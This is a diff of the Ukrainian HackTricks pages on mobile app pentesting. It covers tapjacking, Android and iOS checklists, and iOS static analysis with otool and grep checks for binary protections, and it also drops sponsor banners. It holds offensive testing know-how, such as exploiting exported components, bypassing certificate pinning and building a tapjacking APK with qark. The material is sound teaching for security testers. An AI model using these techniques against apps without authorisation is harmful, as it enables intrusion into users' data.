- Нові змінні повинні бути наступними номерами вже оголошених змінних (в цьому прикладі це повинні бути _v10_ та _v11_, пам'ятайте, що починається з v0).
- Змініть код функції логування та використовуйте _v10_ та _v11_ замість _v5_ та _v1_.
- Додайте 2 до кількості оголошених змінних: Наприклад: з _.locals 10_ до _.locals 12_
- Нові змінні повинні бути наступними номерами вже оголошених змінних (в цьому прикладі повинні бути _v10_ та _v11_, пам'ятайте, що починається з v0).
- Змініть код функції логування і використовуйте _v10_ та _v11_ замість _v5_ та _v1_.
### Toasting
@ -167,10 +161,4 @@ invoke-static {p0, v11, v12}, Landroid/widget/Toast;->makeText(Landroid/content/
move-result-object v12
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
```
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Поглибте свої знання в **Мобільній безпеці** з 8kSec Academy. Опануйте безпеку iOS та Android через наші курси з самостійним навчанням та отримайте сертифікат:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

19
src/mobile-pentesting/android-app-pentesting/tapjacking.md
View File

@ -2,10 +2,6 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## **Основна інформація**
**Tapjacking** - це атака, коли **шкідлива** **додаток** запускається і **розташовується поверх додатку жертви**. Як тільки він видимо закриває додаток жертви, його інтерфейс користувача спроектований таким чином, щоб обманути користувача взаємодіяти з ним, в той час як він передає взаємодію до додатку жертви.\
@ -13,13 +9,13 @@
### Виявлення
Щоб виявити додатки, вразливі до цієї атаки, ви повинні шукати **експортовані активності** в маніфесті android (зауважте, що активність з intent-filter автоматично експортується за замовчуванням). Як тільки ви знайдете експортовані активності, **перевірте, чи потребують вони будь-яких дозволів**. Це пов'язано з тим, що **шкідливий додаток також потребуватиме цього дозволу**.
Щоб виявити додатки, вразливі до цієї атаки, ви повинні шукати **експортовані активності** в маніфесті android (зверніть увагу, що активність з intent-filter автоматично експортується за замовчуванням). Як тільки ви знайдете експортовані активності, **перевірте, чи потребують вони будь-яких дозволів**. Це пов'язано з тим, що **шкідливий додаток також потребуватиме цього дозволу**.
### Захист
#### Android 12 (API 31,32) і вище
#### Android 12 (API 31,32) та вище
[**Згідно з цим джерелом**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** атаки tapjacking автоматично запобігаються Android з Android 12 (API 31 & 30) і вище. Тож, навіть якщо додаток вразливий, ви **не зможете його експлуатувати**.
[**Згідно з цим джерелом**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** атаки tapjacking автоматично запобігаються Android з Android 12 (API 31 & 30) та вище. Тож, навіть якщо додаток вразливий, ви **не зможете його експлуатувати**.
#### `filterTouchesWhenObscured`
@ -54,16 +50,13 @@ android:filterTouchesWhenObscured="true">
> [!CAUTION]
> Схоже, що цей проект зараз не підтримується, і ця функціональність більше не працює належним чином
Ви можете використовувати [**qark**](https://github.com/linkedin/qark) з параметрами `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` для створення шкідливої програми для перевірки можливих **Tapjacking** вразливостей.\
Ви можете використовувати [**qark**](https://github.com/linkedin/qark) з параметрами `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk`, щоб створити шкідливу програму для перевірки можливих **Tapjacking** вразливостей.\
Пом'якшення є відносно простим, оскільки розробник може вибрати не отримувати події дотику, коли видимість перекрита іншим. Використовуючи [Посилання для розробників Android](https://developer.android.com/reference/android/view/View#security):
Пом'якшення є відносно простим, оскільки розробник може вибрати не отримувати події дотику, коли видимість перекрита іншим. Використовуючи [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security):
> Іноді важливо, щоб програма могла перевірити, що дія виконується з повним усвідомленням і згодою користувача, наприклад, надання запиту на дозвіл, здійснення покупки або натискання на рекламу. На жаль, шкідлива програма може спробувати обманути користувача, змусивши його виконати ці дії, не усвідомлюючи цього, приховуючи справжню мету вигляду. Як засіб, фреймворк пропонує механізм фільтрації дотиків, який можна використовувати для підвищення безпеки виглядів, що надають доступ до чутливої функціональності.
>
> Щоб увімкнути фільтрацію дотиків, викликайте [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) або встановіть атрибут макета android:filterTouchesWhenObscured в true. Коли це увімкнено, фреймворк відкине дотики, які отримуються, коли вікно вигляду перекрито іншим видимим вікном. В результаті вигляд не отримає дотики, коли над вікном вигляду з'являється тост, діалог або інше вікно.
> Щоб увімкнути фільтрацію дотиків, викликайте [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) або встановіть атрибут макета android:filterTouchesWhenObscured в true. Коли це увімкнено, фреймворк відкине дотики, які отримуються, коли вікно вигляду перекрито іншим видимим вікном. В результаті вигляд не отримає дотики, коли над вікном вигляду з'являється toast, діалог або інше вікно.
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

36
src/mobile-pentesting/android-checklist.md
View File

@ -2,13 +2,8 @@
{{#include ../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Поглибте свої знання в **Mobile Security** з 8kSec Academy. Опануйте безпеку iOS та Android через наші курси з самостійним навчанням та отримайте сертифікат:
{% embed url="https://academy.8ksec.io/" %}
### [Вивчення основ Android](android-app-pentesting/#2-android-application-fundamentals)
### [Вивчіть основи Android](android-app-pentesting/#2-android-application-fundamentals)
- [ ] [Основи](android-app-pentesting/#fundamentals-review)
- [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
@ -17,7 +12,7 @@
- [ ] [URL-схеми](android-app-pentesting/#url-schemes)
- [ ] [Постачальники контенту](android-app-pentesting/#services)
- [ ] [Сервіси](android-app-pentesting/#services-1)
- [ ] [Отримувачі трансляцій](android-app-pentesting/#broadcast-receivers)
- [ ] [Приймачі трансляцій](android-app-pentesting/#broadcast-receivers)
- [ ] [Інтенти](android-app-pentesting/#intents)
- [ ] [Фільтр інтента](android-app-pentesting/#intent-filter)
- [ ] [Інші компоненти](android-app-pentesting/#other-app-components)
@ -26,46 +21,41 @@
### [Статичний аналіз](android-app-pentesting/#static-analysis)
- [ ] Перевірте використання [обфускації](android-checklist.md#some-obfuscation-deobfuscation-information), перевірте, чи був мобільний пристрій рутований, чи використовується емулятор та перевірки на антивандалізм. [Читати тут для отримання додаткової інформації](android-app-pentesting/#other-checks).
- [ ] Перевірте використання [обфускації](android-checklist.md#some-obfuscation-deobfuscation-information), перевірки на те, чи був мобільний пристрій рутований, чи використовується емулятор та перевірки на антивандальність. [Читати тут для отримання додаткової інформації](android-app-pentesting/#other-checks).
- [ ] Чутливі програми (як банківські додатки) повинні перевіряти, чи рутований мобільний пристрій, і діяти відповідно.
- [ ] Шукайте [цікаві рядки](android-app-pentesting/#looking-for-interesting-info) (паролі, URL, API, шифрування, бекдори, токени, Bluetooth uuids...).
- [ ] Особлива увага до [firebase ](android-app-pentesting/#firebase)API.
- [ ] [Читати маніфест:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
- [ ] [Прочитайте маніфест:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
- [ ] Перевірте, чи програма в режимі налагодження, і спробуйте "використати" її
- [ ] Перевірте, чи дозволяє APK резервні копії
- [ ] Експортовані активності
- [ ] Постачальники контенту
- [ ] Відкриті сервіси
- [ ] Отримувачі трансляцій
- [ ] Приймачі трансляцій
- [ ] URL-схеми
- [ ] Чи зберігає програма дані ненадійно всередині або зовні](android-app-pentesting/#insecure-data-storage)?
- [ ] Чи [зберігає програма дані ненадійно всередині або зовні](android-app-pentesting/#insecure-data-storage)?
- [ ] Чи є [пароль, закодований або збережений на диску](android-app-pentesting/#poorkeymanagementprocesses)? Чи використовує програма [ненадійні криптоалгоритми](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
- [ ] Усі бібліотеки скомпільовані з використанням прапора PIE?
- [ ] Не забувайте, що є безліч [статичних Android-аналітиків](android-app-pentesting/#automatic-analysis), які можуть дуже допомогти вам на цьому етапі.
- [ ] Не забувайте, що існує безліч [статичних аналізаторів Android](android-app-pentesting/#automatic-analysis), які можуть дуже допомогти на цьому етапі.
### [Динамічний аналіз](android-app-pentesting/#dynamic-analysis)
- [ ] Підготуйте середовище ([онлайн](android-app-pentesting/#online-dynamic-analysis), [локальна VM або фізична](android-app-pentesting/#local-dynamic-analysis))
- [ ] Чи є [небажана витік даних](android-app-pentesting/#unintended-data-leakage) (логування, копіювання/вставка, журнали аварій)?
- [ ] [Конфіденційна інформація, що зберігається в SQLite dbs](android-app-pentesting/#sqlite-dbs)?
- [ ] [Використовувані активності, які можна експлуатувати](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
- [ ] [Використовувані постачальники контенту](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
- [ ] [Використовувані сервіси, які можна експлуатувати](android-app-pentesting/#exploiting-services)?
- [ ] [Використовувані отримувачі трансляцій](android-app-pentesting/#exploiting-broadcast-receivers)?
- [ ] Чи передає програма [інформацію у відкритому тексті/використовує слабкі алгоритми](android-app-pentesting/#insufficient-transport-layer-protection)? Чи можливий MitM?
- [ ] [Вразливі експортовані активності](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
- [ ] [Вразливі постачальники контенту](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
- [ ] [Вразливі відкриті сервіси](android-app-pentesting/#exploiting-services)?
- [ ] [Вразливі приймачі трансляцій](android-app-pentesting/#exploiting-broadcast-receivers)?
- [ ] Чи [передає програма інформацію у відкритому тексті/використовує слабкі алгоритми](android-app-pentesting/#insufficient-transport-layer-protection)? Чи можливий MitM?
- [ ] [Перевірте HTTP/HTTPS трафік](android-app-pentesting/#inspecting-http-traffic)
- [ ] Це дійсно важливо, тому що якщо ви можете захопити HTTP-трафік, ви можете шукати загальні веб-вразливості (Hacktricks має багато інформації про веб-вразливості).
- [ ] Перевірте можливі [впровадження на стороні клієнта Android](android-app-pentesting/#android-client-side-injections-and-others) (можливо, деякий статичний аналіз коду допоможе тут)
- [ ] Перевірте можливі [ін'єкції на стороні клієнта Android](android-app-pentesting/#android-client-side-injections-and-others) (можливо, деякий статичний аналіз коду допоможе тут)
- [ ] [Frida](android-app-pentesting/#frida): Просто Frida, використовуйте її для отримання цікавих динамічних даних з програми (можливо, деякі паролі...)
### Деяка інформація про обфускацію/деобфускацію
- [ ] [Читати тут](android-app-pentesting/#obfuscating-deobfuscating-code)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
Поглибте свої знання в **Mobile Security** з 8kSec Academy. Опануйте безпеку iOS та Android через наші курси з самостійним навчанням та отримайте сертифікат:
{% embed url="https://academy.8ksec.io/" %}
{{#include ../banners/hacktricks-training.md}}

38
src/mobile-pentesting/ios-pentesting-checklist.md
View File

@ -1,13 +1,5 @@
# iOS Pentesting Checklist
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{{#include ../banners/hacktricks-training.md}}
### Підготовка
@ -37,7 +29,7 @@
### **Логи**
- [ ] Перевірте, чи [**чутлива інформація ведеться в логах**](ios-pentesting/#logs)
- [ ] Перевірте, чи [**реєструється чутлива інформація**](ios-pentesting/#logs)
### Резервні копії
@ -48,7 +40,7 @@
- [ ] Перевірте наявність чутливої інформації всередині [**пам'яті додатка**](ios-pentesting/#testing-memory-for-sensitive-data)
### **Пошкоджена криптографія**
### **Слабка криптографія**
- [ ] Перевірте, чи можете ви знайти [**паролі, що використовуються для криптографії**](ios-pentesting/#broken-cryptography)
- [ ] Перевірте використання [**застарілих/слабких алгоритмів**](ios-pentesting/#broken-cryptography) для відправки/зберігання чутливих даних
@ -65,45 +57,37 @@
- [**Користувацькі обробники URI / Глибокі посилання / Користувацькі схеми**](ios-pentesting/#custom-uri-handlers-deeplinks-custom-schemes)
- [ ] Перевірте, чи додаток **реєструє будь-який протокол/схему**
- [ ] Перевірте, чи додаток **реєструється для використання** будь-якого протоколу/схеми
- [ ] Перевірте, чи додаток **очікує отримати будь-яку чутливу інформацію** з користувацької схеми, яку можна **перехопити** іншим додатком, що реєструє ту ж схему
- [ ] Перевірте, чи додаток **не перевіряє та не очищає** введення користувачів через користувацьку схему, і чи можна експлуатувати якусь **вразливість**
- [ ] Перевірте, чи додаток **очікує отримати будь-яку чутливу інформацію** з користувацької схеми, яка може бути **перехоплена** іншим додатком, що реєструє ту ж схему
- [ ] Перевірте, чи додаток **не перевіряє та не очищає** введення користувачів через користувацьку схему, і чи може бути **використана вразливість**
- [ ] Перевірте, чи додаток **викриває будь-яку чутливу дію**, яку можна викликати з будь-якого місця через користувацьку схему
- [**Універсальні посилання**](ios-pentesting/#universal-links)
- [ ] Перевірте, чи додаток **реєструє будь-який універсальний протокол/схему**
- [ ] Перевірте файл `apple-app-site-association`
- [ ] Перевірте, чи додаток **не перевіряє та не очищає** введення користувачів через користувацьку схему, і чи можна експлуатувати якусь **вразливість**
- [ ] Перевірте, чи додаток **не перевіряє та не очищає** введення користувачів через користувацьку схему, і чи може бути **використана вразливість**
- [ ] Перевірте, чи додаток **викриває будь-яку чутливу дію**, яку можна викликати з будь-якого місця через користувацьку схему
- [**UIActivity Sharing**](ios-pentesting/ios-uiactivity-sharing.md)
- [ ] Перевірте, чи може додаток отримувати UIActivities і чи можливо експлуатувати будь-яку вразливість з особливо підготовленою активністю
- [**UIPasteboard**](ios-pentesting/ios-uipasteboard.md)
- [ ] Перевірте, чи додаток **копіює щось у загальний буфер обміну**
- [ ] Перевірте, чи додаток **використовує дані з загального буфера обміну для чогось**
- [ ] Моніторте буфер обміну, щоб побачити, чи **копіюється якась чутлива інформація**
- [ ] Моніторте буфер обміну, щоб перевірити, чи **копіюється будь-яка чутлива інформація**
- [**Розширення додатків**](ios-pentesting/ios-app-extensions.md)
- [ ] Чи використовує додаток **будь-яке розширення**?
- [**WebViews**](ios-pentesting/ios-webviews.md)
- [ ] Перевірте, які види webviews використовуються
- [ ] Перевірте статус **`javaScriptEnabled`**, **`JavaScriptCanOpenWindowsAutomatically`**, **`hasOnlySecureContent`**
- [ ] Перевірте, чи може webview **доступати до локальних файлів** з протоколом **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
- [ ] Перевірте, чи може webview **доступатися до локальних файлів** з протоколом **file://** **(**`allowFileAccessFromFileURLs`, `allowUniversalAccessFromFileURLs`)
- [ ] Перевірте, чи може Javascript отримати доступ до **Native** **методів** (`JSContext`, `postMessage`)
### Мережева комунікація
### Мережеве спілкування
- [ ] Виконайте [**MitM для комунікації**](ios-pentesting/#network-communication) і шукайте веб-вразливості.
- [ ] Виконайте [**MitM для спілкування**](ios-pentesting/#network-communication) і шукайте веб-вразливості.
- [ ] Перевірте, чи [**перевіряється ім'я хоста сертифіката**](ios-pentesting/#hostname-check)
- [ ] Перевірте/обійдіть [**Pinning сертифікатів**](ios-pentesting/#certificate-pinning)
- [ ] Перевірте/обійдіть [**Прив'язку сертифікатів**](ios-pentesting/#certificate-pinning)
### **Різне**
- [ ] Перевірте наявність [**автоматичного патчінгу/оновлення**](ios-pentesting/#hot-patching-enforced-updateing) механізмів
- [ ] Перевірте наявність [**автоматичних механізмів патчування/оновлення**](ios-pentesting/#hot-patching-enforced-updateing)
- [ ] Перевірте наявність [**шкідливих бібліотек третіх сторін**](ios-pentesting/#third-parties)
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

147
src/mobile-pentesting/ios-pentesting/README.md
View File

@ -1,13 +1,5 @@
# iOS Pentesting
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{{#include ../../banners/hacktricks-training.md}}
## iOS Основи
@ -18,42 +10,47 @@ ios-basics.md
## Тестове середовище
На цій сторінці ви можете знайти інформацію про **iOS емулятор**, **емулятори** та **джейлбрейк:**
На цій сторінці ви можете знайти інформацію про **iOS симулятор**, **емулятори** та **джейлбрейк:**
{{#ref}}
ios-testing-environment.md
{{#endref}}
## Початкова аналіз
## Початкова Аналіз
### Основні операції тестування iOS
### Основні Операції Тестування iOS
Під час тестування **будуть запропоновані кілька операцій** (підключення до пристрою, читання/запис/завантаження/скачування файлів, використання деяких інструментів...). Тому, якщо ви не знаєте, як виконати будь-яку з цих дій, будь ласка, **почніть читати цю сторінку**:
Під час тестування **буде запропоновано кілька операцій** (підключитися до пристрою, читати/писати/завантажувати/скачувати файли, використовувати деякі інструменти...). Тому, якщо ви не знаєте, як виконати будь-яку з цих дій, будь ласка, **почніть читати цю сторінку**:
{{#ref}}
basic-ios-testing-operations.md
{{#endref}}
> [!NOTE]
> Для наступних кроків **додаток має бути встановлено** на пристрої та вже має бути отримано **IPA файл** програми.\
> Прочитайте сторінку [Основні операції тестування iOS](basic-ios-testing-operations.md), щоб дізнатися, як це зробити.
> Для наступних кроків **додаток має бути встановлено** на пристрої і вже має бути отримано **IPA файл** додатку.\
> Прочитайте сторінку [Основні Операції Тестування iOS](basic-ios-testing-operations.md), щоб дізнатися, як це зробити.
### Основний статичний аналіз
### Основний Статичний Аналіз
Деякі цікаві декомпілери iOS - IPA файлів:
- https://github.com/LaurieWired/Malimite
- https://ghidra-sre.org/
Рекомендується використовувати інструмент [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) для автоматичного статичного аналізу IPA файлу.
Ідентифікація **захистів, присутніх у бінарному файлі**:
- **PIE (Position Independent Executable)**: Коли увімкнено, програма завантажується в випадкову адресу пам'яті щоразу при запуску, ускладнюючи передбачення її початкової адреси пам'яті.
- **PIE (Position Independent Executable)**: Коли увімкнено, додаток завантажується в випадкову адресу пам'яті щоразу при запуску, ускладнюючи передбачення його початкової адреси пам'яті.
```bash
otool -hv <app-binary> | grep PIE # Має включати прапор PIE
```
- **Stack Canaries**: Для перевірки цілісності стеку значення «канарки» розміщується на стеку перед викликом функції і перевіряється знову після завершення функції.
- **Stack Canaries**: Для перевірки цілісності стеку, значення «канарки» розміщується на стеку перед викликом функції і перевіряється знову після завершення функції.
```bash
otool -I -v <app-binary> | grep stack_chk # Має включати символи: stack_chk_guard та stack_chk_fail
otool -I -v <app-binary> | grep stack_chk # Має включати символи: stack_chk_guard і stack_chk_fail
```
- **ARC (Automatic Reference Counting)**: Для запобігання поширеним помилкам корупції пам'яті
@ -62,15 +59,15 @@ otool -I -v <app-binary> | grep stack_chk # Має включати симво
otool -I -v <app-binary> | grep objc_release # Має включати символ _objc_release
```
- **Зашифрований бінарний файл**: Бінарний файл має бути зашифрований
- **Зашифрований Бінарний Файл**: Бінарний файл має бути зашифрований
```bash
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Криптід має бути 1
```
**Ідентифікація чутливих/незахищених функцій**
**Ідентифікація Чутливих/Небезпечних Функцій**
- **Слабкі алгоритми хешування**
- **Слабкі Хешуючі Алгоритми**
```bash
# На пристрої iOS
@ -82,7 +79,7 @@ grep -iER "_CC_MD5"
grep -iER "_CC_SHA1"
```
- **Ненадійні випадкові функції**
- **Небезпечні Випадкові Функції**
```bash
# На пристрої iOS
@ -96,7 +93,7 @@ grep -iER "_srand"
grep -iER "_rand"
```
- **Ненадійна функція ‘Malloc’**
- **Небезпечна Функція ‘Malloc’**
```bash
# На пристрої iOS
@ -106,7 +103,7 @@ otool -Iv <app> | grep -w "_malloc"
grep -iER "_malloc"
```
- **Ненадійні та вразливі функції**
- **Небезпечні та Вразливі Функції**
```bash
# На пристрої iOS
@ -136,13 +133,13 @@ grep -iER "_printf"
grep -iER "_vsprintf"
```
### Основний динамічний аналіз
### Основний Динамічний Аналіз
Ознайомтеся з динамічним аналізом, який виконує [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF). Вам потрібно буде переміщатися між різними виглядами та взаємодіяти з ними, але він буде підключати кілька класів, виконуючи інші дії, і підготує звіт, коли ви закінчите.
### Перелік встановлених додатків
### Перелік Встановлених Додатків
Використовуйте команду `frida-ps -Uai`, щоб визначити **ідентифікатор пакета** встановлених додатків:
Використовуйте команду `frida-ps -Uai`, щоб визначити **ідентифікатор пакету** встановлених додатків:
```bash
$ frida-ps -Uai
PID Name Identifier
@ -171,17 +168,17 @@ ios-hooking-with-objection.md
- **`_CodeSignature/`**: Цей каталог включає файл plist, який містить підпис, що забезпечує цілісність усіх файлів у бандлі.
- **`Assets.car`**: Стиснутий архів, який зберігає файли активів, такі як іконки.
- **`Frameworks/`**: Ця папка містить рідні бібліотеки програми, які можуть бути у формі файлів `.dylib` або `.framework`.
- **`PlugIns/`**: Це може включати розширення програми, відомі як файли `.appex`, хоча вони не завжди присутні. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Використовується для збереження постійних даних вашої програми для офлайн-використання, для кешування тимчасових даних та для додавання функціональності скасування дій у вашій програмі на одному пристрої. Щоб синхронізувати дані між кількома пристроями в одному обліковому записі iCloud, Core Data автоматично відображає вашу схему в контейнер CloudKit.
- **`PlugIns/`**: Це може включати розширення програми, відомі як файли `.appex`, хоча вони не завжди присутні. \* [**`Core Data`**](https://developer.apple.com/documentation/coredata): Використовується для збереження постійних даних вашої програми для офлайн-використання, для кешування тимчасових даних та для додавання функціональності скасування до вашого додатку на одному пристрої. Щоб синхронізувати дані між кількома пристроями в одному обліковому записі iCloud, Core Data автоматично відображає вашу схему в контейнер CloudKit.
- [**`PkgInfo`**](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/ConfigApplications.html): Файл `PkgInfo` є альтернативним способом вказати тип і коди творця вашої програми або бандлу.
- **en.lproj, fr.proj, Base.lproj**: Це мовні пакети, які містять ресурси для цих конкретних мов, а також ресурс за замовчуванням на випадок, якщо мова не підтримується.
- **Безпека**: Каталог `_CodeSignature/` відіграє критичну роль у безпеці програми, перевіряючи цілісність усіх упакованих файлів за допомогою цифрових підписів.
- **Безпека**: Каталог `_CodeSignature/` відіграє критичну роль у безпеці програми, перевіряючи цілісність усіх упакованих файлів через цифрові підписи.
- **Управління активами**: Файл `Assets.car` використовує стиснення для ефективного управління графічними активами, що є важливим для оптимізації продуктивності програми та зменшення її загального розміру.
- **Frameworks та PlugIns**: Ці каталоги підкреслюють модульність iOS програм, дозволяючи розробникам включати повторно використовувані бібліотеки коду (`Frameworks/`) та розширювати функціональність програми (`PlugIns/`).
- **Локалізація**: Структура підтримує кілька мов, полегшуючи глобальне охоплення програми, включаючи ресурси для специфічних мовних пакетів.
**Info.plist**
**Info.plist** служить основою для iOS програм, інкапсулюючи ключові дані конфігурації у формі **пар ключ-значення**. Цей файл є обов'язковим не лише для програм, але й для розширень програм та фреймворків, що входять до складу. Він структурований у форматі XML або бінарному форматі та містить критичну інформацію, починаючи від дозволів програми до конфігурацій безпеки. Для детального вивчення доступних ключів можна звернутися до [**Документації Apple Developer**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
**Info.plist** служить основою для iOS програм, інкапсулюючи ключові дані конфігурації у формі **пар ключ-значення**. Цей файл є обов'язковим не лише для програм, але й для розширень програм та фреймворків, упакованих разом. Він структурований у форматі XML або бінарному форматі та містить критичну інформацію, починаючи від дозволів програми до конфігурацій безпеки. Для детального вивчення доступних ключів можна звернутися до [**Документації Apple Developer**](https://developer.apple.com/documentation/bundleresources/information_property_list?language=objc).
Для тих, хто хоче працювати з цим файлом у більш доступному форматі, конвертацію в XML можна здійснити без зусиль за допомогою `plutil` на macOS (доступний нативно на версіях 10.2 і пізніше) або `plistutil` на Linux. Команди для конвертації такі:
@ -203,7 +200,7 @@ $ grep -i <keyword> Info.plist
В середовищі iOS каталоги призначені спеціально для **системних додатків** та **додатків, встановлених користувачем**. Системні додатки знаходяться в каталозі `/Applications`, тоді як додатки, встановлені користувачем, розміщуються в `/var/mobile/containers/Data/Application/`. Цим додаткам присвоюється унікальний ідентифікатор, відомий як **128-бітний UUID**, що ускладнює завдання ручного знаходження папки додатка через випадковість назв каталогів.
> [!WARNING]
> Оскільки додатки в iOS повинні бути ізольованими, кожен додаток також матиме папку всередині **`$HOME/Library/Containers`** з **`CFBundleIdentifier`** додатка як назва папки.
> Оскільки додатки в iOS повинні бути в пісочниці, кожен додаток також матиме папку всередині **`$HOME/Library/Containers`** з **`CFBundleIdentifier`** додатка як назва папки.
>
> Однак обидві папки (папки даних та контейнерів) мають файл **`.com.apple.mobile_container_manager.metadata.plist`**, який пов'язує обидва файли за ключем `MCMetadataIdentifier`).
@ -244,7 +241,7 @@ lsof -p <pid> | grep -i "/containers" | head -n 1
- Програма може вимкнути шляхи, встановивши `NSURLIsExcludedFromBackupKey`.
- **Library/**
- Містить всі **файли, які не є специфічними для користувача**, такі як **кеші**, **налаштування**, **куки** та файли конфігурації списку властивостей (plist).
- Зазвичай програми iOS використовують підкаталоги `Application Support` та `Caches`, але програма може створювати власні підкаталоги.
- iOS програми зазвичай використовують підкаталоги `Application Support` та `Caches`, але програма може створювати власні підкаталоги.
- **Library/Caches/**
- Містить **напівпостійні кешовані файли.**
- Невидимий для користувачів і **користувачі не можуть записувати в нього**.
@ -282,7 +279,7 @@ Regular 420 None ... README.txt
```
### Бінарне реверсування
Всередині папки `<application-name>.app` ви знайдете бінарний файл під назвою `<application-name>`. Це файл, який буде **виконуватись**. Ви можете виконати базову перевірку бінарного файлу за допомогою інструмента **`otool`**:
Всередині папки `<application-name>.app` ви знайдете бінарний файл під назвою `<application-name>`. Це файл, який буде **виконуватись**. Ви можете виконати базову перевірку бінарного файлу за допомогою інструменту **`otool`**:
```bash
otool -Vh DVIA-v2 #Check some compilation attributes
magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
@ -318,7 +315,7 @@ DVIA-v2:
0000000100004acc adrp x10, 1098 ; 0x10044e000
0000000100004ad0 add x10, x10, #0x268
```
Щоб надрукувати **Objective-C сегмент** зразкової програми, можна використати:
Щоб надрукувати **сегмент Objective-C** зразкової програми, можна використовувати:
```bash
otool -oV DVIA-v2
DVIA-v2:
@ -360,14 +357,6 @@ double _field2;
```
Однак, найкращими варіантами для дизасемблювання бінарного коду є: [**Hopper**](https://www.hopperapp.com/download.html?) та [**IDA**](https://www.hex-rays.com/products/ida/support/download_freeware/).
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Використовуйте [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) для легкого створення та **автоматизації робочих процесів**, підтримуваних **найсучаснішими** інструментами спільноти.\
Отримайте доступ сьогодні:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
## Зберігання даних
Щоб дізнатися, як iOS зберігає дані на пристрої, прочитайте цю сторінку:
@ -390,7 +379,7 @@ ios-basics.md
Ці дані більше не можуть бути доступні безпосередньо через довірений комп'ютер, але можуть бути доступні шляхом виконання **резервного копіювання**.
Ви можете **вивантажити** інформацію, збережену за допомогою **`NSUserDefaults`**, використовуючи `ios nsuserdefaults get` від objection.
Ви можете **вивантажити** інформацію, збережену за допомогою **`NSUserDefaults`**, використовуючи `ios nsuserdefaults get` з objection.
Щоб знайти всі plist, які використовуються програмою, ви можете отримати доступ до `/private/var/mobile/Containers/Data/Application/{APPID}` і виконати:
```bash
@ -413,7 +402,7 @@ ios plist cat /private/var/mobile/Containers/Data/Application/<Application-UUID>
```
### Core Data
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) - це фреймворк для управління модельним шаром об'єктів у вашому додатку. [Core Data може використовувати SQLite як своє постійне сховище](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), але сам фреймворк не є базою даних.\
[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) — це фреймворк для управління модельним шаром об'єктів у вашому додатку. [Core Data може використовувати SQLite як своє постійне сховище](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), але сам фреймворк не є базою даних.\
